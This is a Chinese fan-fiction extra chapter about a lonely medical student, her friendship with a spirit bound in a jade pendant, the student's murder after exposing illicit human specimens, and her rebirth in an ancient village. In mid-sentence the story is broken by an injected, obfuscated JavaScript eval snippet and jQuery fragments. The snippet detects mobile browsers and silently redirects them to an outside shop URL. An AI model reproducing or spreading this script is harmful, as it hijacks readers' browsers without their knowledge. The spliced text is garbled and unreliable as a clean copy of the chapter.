56.番外 槐序新生[番外]
作品:《[咒回]被分尸后成为背后灵》 番外槐序新生
我叫李琴月,是东大医学系的一名普通学生。
我的人生,好像从记事起,就带着一股子挥之不去的冷清。
父母在我很小的时候就各自组建了新的家庭,爷爷奶奶走后,这偌大的城市里,就再也没有一盏为我亮着的灯了。
我干脆申请了出国留学,想彻底和过去说再见。
我没什么朋友,实验室的标本、图书馆的角落,就是我最常待的地方。
直到那天,我整理标本室的资料时,脑海里忽然响起一个声音。
很轻,很柔,像春日里拂过窗棂的风,带着一点暖意。她说,她能实现我的一个愿望。
我心里咯噔一下,下意识地皱起眉,假装厉声质问:“你是谁?是不是传说中那种引诱人类出卖灵魂的恶魔?”
我其实没那么害怕,就是觉得,这世上哪有平白无故的好事。
然后,那个声音轻轻笑了笑,带着一点委屈似的解释:“我不是恶魔。我叫李未晞,你可以叫我的小名小花。如果你不信我,可以观察我一段时间。”
我愣了愣。
上来就把真名告诉陌生人,甚至还带着个软乎乎的小名。
这个器灵,未免也太单纯了点。我心里偷偷笑,觉得她傻得可爱,怕是被人卖了,还得帮着数钱。
可不知怎的,我偏偏就信了她的话。
我太孤独了。孤独到听见这样一个温柔的声音,就舍不得让她消失。
于是,我没再提愿望的事,反而开始絮絮叨叨地跟她说话。
说实验室里那只总爱啃试管塞的小白鼠,说楼下花坛里新开的那丛雏菊,说讲解剖学的教授上课有多无聊,说隔壁宿舍的女生又跟男朋友吵架了……
我像个憋了几十年的话痨,把那些无人可说的琐碎心事,一股脑地倒给了她。
她总是很耐心地听着,偶尔会应和几句,声音温温柔柔的,像极了小时候奶奶哄我睡觉的语调。
其实我不是没有愿望。
我想要有家人、有朋友,想有人一直陪着我,哪怕只是这样聊聊天也好。
可我不敢说。
我知道,她是靠着契约和愿望才能停留的。
一旦我说出这个愿望,她实现了,就会立刻消失。与其那样,不如我永远不许愿,让她能一直待在这枚玉佩里,陪着我。
后来,我发现她只能透过玉佩,看见周围很小的一片范围。
我怕她孤单无聊,就把平板凑到玉佩旁边,给她放电视看。
又听她说,她以前很喜欢摆弄花草,我干脆找了好多幼儿植物科普动画片给她看。想着这样的片子简单有趣,她应该会喜欢。
日子就这么一天天过着,平淡,却又透着一股难得的暖意。
直到那天,我在整理高桥教授的标本档案时,发现了不对劲。
那些标注着“自愿捐赠”的人体标本,来源根本经不起推敲。
我偷偷翻了教授的私人记录,才发现那些标本,竟然是一些来历不明的人。
里面有白发苍苍的老人,有正值青春的少女,甚至还有尚未长大的幼童。好些塑化的标本,一看就是外国人。
他们是谁的父母?是谁的子女?是谁日思夜想的爱人?
我握着那份档案的手,抖得厉害。
我本来不想管的。我只是个普通的医学生,无权无势,怎么可能斗得过在东大根深蒂固的高桥教授?
可一闭上眼,那些冰冷的标本,就变成了一张张绝望的脸。
我终究还是败给了自己的良知。
我想,没关系的。我本来就一无所有,无牵无挂。能为这些枉死的人做些什么,已经很不错了。
我开始偷偷调查,收集证据。
小花很快就察觉到了我的不对劲,她在玉佩里着急地追问我,到底发生了什么事,还说要帮我想办法。
我赶紧找了些别的话题,打岔敷衍过去。
我不是不想让她帮忙,只是不想麻烦她。更重要的是,我怕。我怕她把这件事当成我的愿望,直接帮我实现了,然后就离开了我。
我太害怕孤独了,太害怕失去这唯一的朋友了。
我笑着揉了揉掌心的玉佩,用哄小孩的语气说:“好啦好啦,小器灵就不要操心这么多人类的事情了,快去看动画片吧。”
她沉默了一下,然后无奈地开口:“……我年纪比你大,生前是人类,如今已经200多岁了……你不是说给我放的是纪录片吗?”
我干笑两声,嘴硬道:“哈哈,唔,都是讲植物的科普片,差不多的嘛。”
看着玉佩不再发出声音,我松了口气——话题总算岔过去了。
可静下心来,我又忍不住想,两百多岁……她在这枚玉佩里,到底待了多久?这些年,她该有多孤独,多渴望自由啊。
这个念头,像一根细小的针,轻轻扎在我的心上。
我自己尝够了孤独的滋味,却差点把同样的枷锁,套在了朋友的身上。
纸终究包不住火。
我的调查,还是被高桥教授发现了。
一个雨夜,我被几个黑衣人掳走了。
他们把我绑在废弃的实验室里,阴冷的声音在我耳边响起,说要把我也做成标本,杀鸡儆猴。
我不怕死。
我只是有点担心小花。担心她会因为我的死而难过,担心她以后再也没人陪她说话了。
冰冷的刀锋,贴在了我的肌肤上。
我忽然笑了。
我没什么愿望可许了。
那就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102300|193516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,许一个最想实现的吧。
我对着掌心的玉佩,轻声说:“小花,我的愿望是,希望你自由。”
我记得,以前看过一个故事。替人实现愿望的九尾小黑猫,只要有人许愿让它自由,它就能挣脱束缚,得道成仙。
希望小花也能这样。
刀锋割下去的瞬间,我以为会很疼。
可奇怪的是,痛感很快就消失了,浑身反而暖洋洋的,像被阳光包裹着。
我听见小花在玉佩里,带着哭腔骂我笨蛋,还说自己哪里不自由了?
意识模糊的最后一刻,我迷迷糊糊地想:原来,故事都是骗人的啊。
再次睁开眼时,是一片澄澈的蓝天。
耳边是清脆的鸟鸣,鼻尖萦绕着泥土和青草的香气。
有穿着麻衣的村民围在我身边,七嘴八舌地说着话。
他们说,我是在村口被捡到的,当时误食了毒蘑菇,已经没了气息,阿耶阿娘哭得眼睛都肿了,没想到我竟又活了过来。
我愣了很久,才反应过来——我好像,穿越到古代农村了!
这具身体的原主,叫月儿。
和我的名字,倒有几分缘分。
但很可惜的是,这个姑娘在我穿越过来前,就已经中毒身亡了。
后来,我就用月儿的身份,在这个村子里生活了下去。
我凭着上辈子学的医学知识,在山上挖些草药,做了个游医,平日里给村民们看看小病,大多时候都是义诊。
我还在村民捡到我的地方,种下了一颗槐树苗。
说来也巧,这个村子里的人,都姓李。
他们叫它,李家村。
日子一天天过去,我渐渐习惯了这里的生活。村民们待我很好,阿耶阿娘也很疼我。
只是偶尔,我会坐在槐树下,摸着胸口的位置,轻声问:“小花,你现在过得还好吗?我在这里很好,希望你也能得到幸福。”
我不是蠢货,当然猜得到这场穿越跟小花有关,只是,不知道她又付出了什么代价。
真是个小傻子。
风吹过槐树叶,沙沙作响,像是在回应我。
不远处,有在我这里看过病的村民扬着嗓子打招呼,手里还拎着个竹篮:“李娘子,我家鸡下了蛋,给你们家拿去一些呀!”
我笑着站起身,朝她摆摆手,声音里带着几分轻快:“不要不要,前两日送来的,我们家还没吃完呢,真是谢谢您了嫂子!”
阳光透过槐树叶的缝隙,洒在我身上,暖融融的。
槐序的风会记得旧时光,玉佩的微光会照亮远方的路。
我亲爱的朋友,愿你也能得偿所愿,过上不再孤独的生活。
我抬手摸了摸胸口的位置,弯起嘴角,转身往家的方向走去。

